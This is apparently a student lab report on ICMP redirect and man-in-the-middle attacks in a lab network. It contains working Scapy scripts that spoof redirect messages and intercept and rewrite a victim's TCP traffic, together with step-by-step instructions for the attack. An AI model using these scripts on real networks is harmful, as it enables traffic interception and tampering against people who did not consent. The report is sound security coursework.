**ICMP REDIRECT/MITM**

|  |  |
| --- | --- |
| **Student Name & ID** | **AhmedFaseeh Akram & 202005685** |
| **Student Name & ID** | **Faisal Elbadri & 202107288** |
| **Student Name & ID** | **Haris Khan & 202104099** |
| **Student Name & ID** | **Hunzalah Hassan Bhatti & 202108175** |
| **Student Name & ID** | **Mohammed Ahmed & 202001821** |
| **Student Name & ID** | **Osamah Alsumaitti & 202006040** |

**Network Topology of Lab 3
**

Figure Network Topology of this Lab

**Task 1: Launching ICMP Redirect Attack**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **Code Snippet:**  **Task1.py:**  #!/usr/bin/python3  from scapy.all import \*  import time  ip = IP(src = '10.9.0.11', dst = '10.9.0.5')  icmp = ICMP(type=5, code=1)  icmp.gw = '10.9.0.111'  # The enclosed IP packet should be the one that  # triggers the redirect message.  ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')  while(True):  send(ip/icmp/ip2/ICMP());  time.sleep(3);  **q1.py:** #!/usr/bin/python3  from scapy.all import \*  ip = IP(src = '10.9.0.11', dst = '10.9.0.5')  icmp = ICMP(type=5, code=1)  icmp.gw = '192.168.60.6'  # The enclosed IP packet should be the one that  # triggers the redirect message.  ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')  send(ip/icmp/ip2/ICMP());  **q2.py:**  #!/usr/bin/python3  from scapy.all import \*  ip = IP(src = '10.9.0.11', dst = '10.9.0.5')  icmp = ICMP(type=5, code=1)  icmp.gw = '10.9.0.99'  # The enclosed IP packet should be the one that  # triggers the redirect message.  ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')  send(ip/icmp/ip2/ICMP());  **Screenshot:**  Traceroute on victim machine :    Victim machine:    Question 1 after running q1.py:    **Observation and Explanation:**  In this task we do a ICMP redirect attack (impersonate a router, send an ICMP redirect message to a host and therefore all traffic will be directed to a specific host). The ip route does not change when we run task1.py, the ip route cache changes. All traffic will be redirected for a period of time until it expires.  Question 1) we try to redirect to a remote machine but this will not work as ICMP redirect attack works for LAN. The icmp.gw which is 192.168.60.6 which is not a router so it will not change anything.  Question 2) we try to redirect to a non-existing machine. This will also not work as there is gateway that ICMP packets can go to.  Question 3)sysctls:  - net.ipv4.conf.all.send\_redirects=0  - net.ipv4.conf.default.send\_redirects=0  - net.ipv4.conf.eth0.send\_redirects=0  These are kernal parameters related to the Linux networks. The first parameter turns off redirecting of ICMP packets in all network interface. The second parameter only turns off ICMP packet redirection for the default interface. And the last parameter disables ICMP packet redirecting for eth0 interface. So when all of these are disabled, task1 will not run.  In this task, we also used traceroute to see if the ICMP redirect attack is working. As you can see in the screenshot, the router is 10.9.0.111 there and that is malicious router so the attacker is successful. |

**Task 2: Launching the MITM Attack**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **Code snippet:**  **Task2.py:**  #!/usr/bin/env python3  from scapy.all import \*  print("LAUNCHING MITM ATTACK.........")  def spoof\_pkt(pkt):  newpkt = IP(bytes(pkt[IP]))  del(newpkt.chksum)  del(newpkt[TCP].payload)  del(newpkt[TCP].chksum)  if pkt[TCP].payload:  data = pkt[TCP].payload.load  print("\*\*\* %s, length: %d" % (data, len(data)))  # Replace a pattern  newdata = data.replace(b'hiiii', b'SUUUU')  send(newpkt/newdata)  else:  send(newpkt)  f = 'tcp and ether src 02:42:0a:09:00:05'  pkt = sniff(iface='eth0', filter=f, prn=spoof\_pkt)  **Screenshot:**        **Explanation and Observation:**  Steps to initiate this attack:   1. sysctl net.ipv4.ip\_forward=1 on malicious router 2. run task1 on attacker 3. check using traceroute on victim to see if malicious router is in table 4. let host-192.168.60.5 listen on port 9090 5. netcat on victim to 192.168.60.5 on port 9090 6. sysctl net.ipv4.ip\_forward=0 on malicious router 7. Run task2 on malicious router 8. Now you can replace hiiii to suuuu when host-victim enters messages to host-192.168.60.5   Q4) Victim to host-192.168.60.5 direction is modified only so these packets are only filtered.  Q5) When we use src host 10.9.0.5, this happens:  The code keeps sending messages which I have not entered, it will still perform the actions, but task2 will keep forwarding the last typed message from victim to host, which is not desirable and consumes lots of system resources (I am guessing). Here is a screenshot: |